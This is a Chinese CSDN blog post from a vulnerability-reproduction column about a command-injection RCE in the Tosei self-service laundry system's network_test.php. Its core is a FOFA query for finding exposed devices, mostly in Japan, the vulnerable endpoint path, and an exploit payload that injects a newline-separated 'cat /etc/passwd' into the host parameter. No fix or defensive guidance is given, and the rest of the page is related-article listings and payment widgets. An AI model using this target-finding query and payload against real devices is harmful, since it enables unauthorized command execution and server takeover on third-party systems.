Tosei 自助网络店铺管理系统network_test.php_RCE漏洞复现

最新推荐文章于 2024-07-19 17:26:37 发布
最新推荐文章于 2024-07-19 17:26:37 发布
阅读量334 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/l1593572468/article/details/135838909
版权
漏洞复现 专栏收录该内容
36 篇文章 9 订阅 ¥9.90 ¥99.00
订阅专栏

简介

Tosei 自助洗衣机是日本一家公司的产品，在 network_test.php 文件存在命令执行

漏洞复现

FOFA语法：

body="tosei_login_check.php"

主要是日本

访问界面如下所示：

验证POC：

/cgi-bin/network_test.php

拼接访问url: https://ip:port/cgi-bin/network_test.php

EXP:

host=%0acat${IFS}/etc/passwd%0a&command=ping

抓取数据包重放：

了解本专栏 订阅专栏 解锁全文
Cheng-Ling
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
Tosei 自助洗衣机 network_test.php RCE漏洞复现
0xSec
12-19 1092
Tosei 自助洗衣机 web 管理端存在安全漏洞，攻击者利用该漏洞可以通过 network_test.php 的命令执行,在服务器任意执行代码，获取服务器权限，进而控制整个服务器。
【复现】Tosei 自助洗衣系统RCE漏洞_05
fushuang333的博客
01-01 552
Tosei 自助洗衣系统RCE，可通过提交恶意构造的参数破坏命令语句结构，从而达到执行恶意命令的目的。
渗透实战：记一次JP web服务RCE到内网
qq_73648490的博客
02-26 1006
渗透jp服务器
FairGuard游戏加固入选《嘶吼2024网络安全产业图谱》
FairGuard手游加固(企业官方博客)
07-19 157
FairGuard游戏加固作为游戏安全行业领先的第三方服务商，凭借技术创新、产品服务及市场反馈等多方面优异表现获得业界认可，实力入选移动应用安全细分领域。
用AI对抗AI：Fortinet解锁家电制造网络安全新密码
Fortinet_CHINA的博客
07-19 647
Fortinet盛大启幕《构筑垂直行业 网络安全防线》系列研讨会。Fortinet中国南区资深安全顾问黄志攀深入洞察家电制造行业的网络安全挑战，全面解析了Fortinet如何通过全栈AI技术重塑OT安全解决方案，以应对复杂多变的威胁环境。家电制造行业网络安全深度分析家电制造产线的安全现状普遍令人担忧，主要体现在网络架构的两极分化、显著的安全与管理风险、安全区域划分的缺失，以及OT网络面临的直接威胁。
网络安全-网络安全及其防护措施12
LS_Ai的博客
07-19 409
软件定义网络（SDN）是一种网络架构，它通过将网络的控制平面（Control Plane）从数据转发平面（Data Plane）中分离出来，并集中在一个控制器中进行管理和配置。SDN通过集中化的控制和灵活的编程接口，提供对网络的动态管理和自动化能力。软件定义广域网（SD-WAN）是一种基于软件定义网络（SDN）技术的广域网解决方案，通过集中控制和智能路由功能，优化多地点分支机构之间的网络连接。SD-WAN通过虚拟化网络功能，简化了广域网的部署和管理，提高了网络性能和应用体验。
静态IP地址在网络安全中的角色解析与实测分析
2401_85937702的博客
07-19 640
在这个网络边界日益模糊的时代，每一次点击、每一次数据传输都有着安全问题。作为网络安全体系中的基石，静态IP地址的角色显得尤为重要而复杂。今天，我们的测评团队将带您深入剖析静态IP地址在网络安全中的多重角色，并通过两家代理服务商的实测分析，为您揭开其在实际应用中的神秘面纱。
网络安全防御 -- 双机热备和带宽管理综合实验
rrl18215821889的博客
07-16 506
12，对现有网络进行改造升级，将当个防火墙组网改成双机热备的组网形式，做负载分担模式，游客区和DMZ区走FW3，生产区和办公区的流量走FW1。13，办公区上网用户限制流量不超过100M，其中销售部人员在其基础上限制流量不超过60M，且销售部一共10人，每人限制流量不超过6M。16，外网访问内网服务器，下行流量不超过40M，DMZ中的每台服务器限制对外提供的最大下行带宽不超过20M。做负载分担模式，生产区和办公区的流量走FW1，游客区和DMZ区走FW3。配置g0/0/0ip和开启服务。办公区销售部带宽策略;
Web安全：未验证的重定向和转发.
最新发布
网络安全领域___专研者.
07-19 455
未验证的重定向和转发漏洞是一种常见的Web安全漏洞，它允许攻击者将用户重定向到一个恶意的URL，而不是预期的安全URL。这种漏洞通常发生在应用程序处理重定向和转发请求时，未能对目标URL进行适当的验证和过滤。
网络安全-网络安全及其防护措施3
LS_Ai的博客
07-15 759
虚拟专用网络（VPN）是一种通过公用网络（如互联网）建立安全、加密连接的方法，使用户能够安全地访问内部网络资源。数据保密性：通过加密确保数据在传输过程中不被窃听。数据完整性：防止数据在传输过程中被篡改。远程访问：允许远程用户安全访问公司内部网络资源。隐私保护：隐藏用户的真实IP地址，保护隐私。绕过地理限制：访问受地理位置限制的内容。网络访问控制（NAC）是一种网络安全解决方案，用于管理和控制设备和用户对网络资源的访问权限。
如何保护你的网络安全？
m0_70655343的博客
07-15 672
这项服务可以抵御复杂的网络威胁，即使在最强烈的攻击下也能保证您的网站服务如常，用户几乎无感知。此外，DDoS高防服务还具备网络应用程序防火墙（WAF），采用实时监控和机器学习来保护用户的资料，防止用户资料被盗，保护服务免遭未经授权的访问，降低个人数据泄露的风险，进而防止数字资产流失。为什么它这么重要呢？打个比方，这就像是你家车库的门开关出了问题，每次你按下按钮，车库门就不停地开关，直到电池耗尽。想象一下，你家的路由器被人利用来发起攻击，就像是你家的水龙头被打开，水不停地流向别人的房子，淹没了他们的院子。
网络安全-网络安全及其防护措施11
LS_Ai的博客
07-19 581
网络安全管理指通过制定策略、采取措施和使用工具，保护网络系统、设备和数据免受未经授权的访问、攻击和破坏。目标是确保网络的保密性、完整性和可用性，防止数据泄露和服务中断。虚拟私人网络（VPN）是一种通过公共网络（如互联网）建立加密通道，使得远程用户可以安全地访问私有网络资源和数据的技术。VPN通过加密和隧道技术保护数据的安全性和隐私性，同时允许用户在不同地理位置之间建立安全的连接。
浅谈网络安全防守：从被动应对到主动管理的转变
看着博客敲代码
07-15 560
在当今的数字时代，网络安全已成为企业生存和发展的重要基石。然而，当企业的网络安全体系面临着诸如资产不清、互联网应用管理混乱、边界防火墙策略失效、长期未修复的漏洞、普遍存在的弱口令以及员工安全意识薄弱等问题时，传统的防守策略往往显得捉襟见肘。
游戏外挂的技术实现与五年脚本开发经验分享
m0_62996549的博客
07-19 215
引言： 在数字娱乐的浪潮中，电子游戏成为许多人生活中不可或缺的一部分。然而，随着游戏的普及，一些玩家为了追求更高效的游戏体验或不正当竞争优势，开始使用游戏外挂程序。这些外挂往往通过修改游戏正常运行机制来提供非法优势给使用者。作为拥有五年脚本开发经验的技术人员，我深知探索这一领域需要严谨的态度和对技术的尊重。本文将探讨游戏外挂的技术实现方法，并分享我在脚本开发领域的经验。
网络安全——防御（防火墙）带宽以及双机热备实验
Nirvana92的博客
07-15 684
12，对现有网络进行改造升级，将当个防火墙组网改成双机热备的组网形式，做负载分担模式，游客区和DMZ区走FW3，生产区和办公区的流量走FW113，办公区上网用户限制流量不超过100M，其中销售部人员在其基础上限制流量不超过60M，且销售部一共10人，每人限制流量不超过6M14，销售部保证email应用在办公时间至少可以使用10M的带宽，每个人至少1M15，移动链路采用的是100M的带宽，要求游客区用户仅能占用50M，并且基于在线地址进行动态均分。
企业在实施网络安全等级保护时需要采取哪些技术措施？
gmqqcsdn的博客
07-19 359
这些措施有助于企业构建多层次的安全防护体系，有效抵御内外部的网络安全威胁，保护企业的信息资产安全。：建立网络安全审计和检测机制，对网络系统的安全策略、安全配置、安全事件等进行全面审计和检测。：建立网络安全事件处置机制，对网络安全事件进行及时响应和处理，减少安全事件对网络系统的影响。：建立网络入侵检测和防御系统，实时监测和识别网络攻击行为，并采取相应的措施进行防范和反击。：采取适当的隔离措施，确保不同安全等级的网络之间的安全隔离和访问控制。：定期更新系统和应用程序的安全补丁，以修补已知漏洞，减少安全风险。
web安全之SQL手工注入漏洞测试
weixin_45440497的博客
07-18 516
首先order by查询了有几列数据，然后union看下哪几列数据可以显示出来，然后将能显示的替换成注入语句就可以了。发现有注入点，即id被代入执行。3.了解MySQL的数据结构；4.了解字符串的MD5加解密。1.掌握SQL注入原理；2.了解手工注入的方法；1.进去后出现以下界面。
网络安全-网络安全及其防护措施4
LS_Ai的博客
07-15 928
网络故障排除是检测、诊断和解决网络问题的过程。通过系统的方法，确保网络的稳定性和可用性，减少故障对业务的影响。有效的网络故障排除可以减少停机时间，提高网络的可靠性和性能，确保业务的连续性。网络监控是持续监控网络设备和流量，收集和分析性能数据的过程。通过实时监控，可以及时发现和解决网络问题，确保网络的高可用性和稳定性。负载均衡是一种通过分配网络流量或计算任务到多个服务器或设备的方法，以提高系统的性能和可靠性。负载均衡器可以在不同的服务器之间均匀分配负载，避免单点故障，提高系统的可用性和响应速度。
《AI大模型应用》--由 OpenAI 開發的語音辨識人工智慧模型.zip
07-19
个人深耕AI大模型应用领域积累的成果，希望对您有所帮助。有大模型账号、环境问题、AI大模型技术应用落地方案等相关问题，欢迎详聊，能为您解决问题是我的荣幸！ 个人深耕AI大模型应用领域积累的成果，希望对您有所帮助。有大模型账号、环境问题、AI大模型技术应用落地方案等相关问题，欢迎详聊，能为您解决问题是我的荣幸！ 个人深耕AI大模型应用领域积累的成果，希望对您有所帮助。有大模型账号、环境问题、AI大模型技术应用落地方案等相关问题，欢迎详聊，能为您解决问题是我的荣幸！ 个人深耕AI大模型应用领域积累的成果，希望对您有所帮助。有大模型账号、环境问题、AI大模型技术应用落地方案等相关问题，欢迎详聊，能为您解决问题是我的荣幸！ 个人深耕AI大模型应用领域积累的成果，希望对您有所帮助。有大模型账号、环境问题、AI大模型技术应用落地方案等相关问题，欢迎详聊，能为您解决问题是我的荣幸！

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Cheng-Ling

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值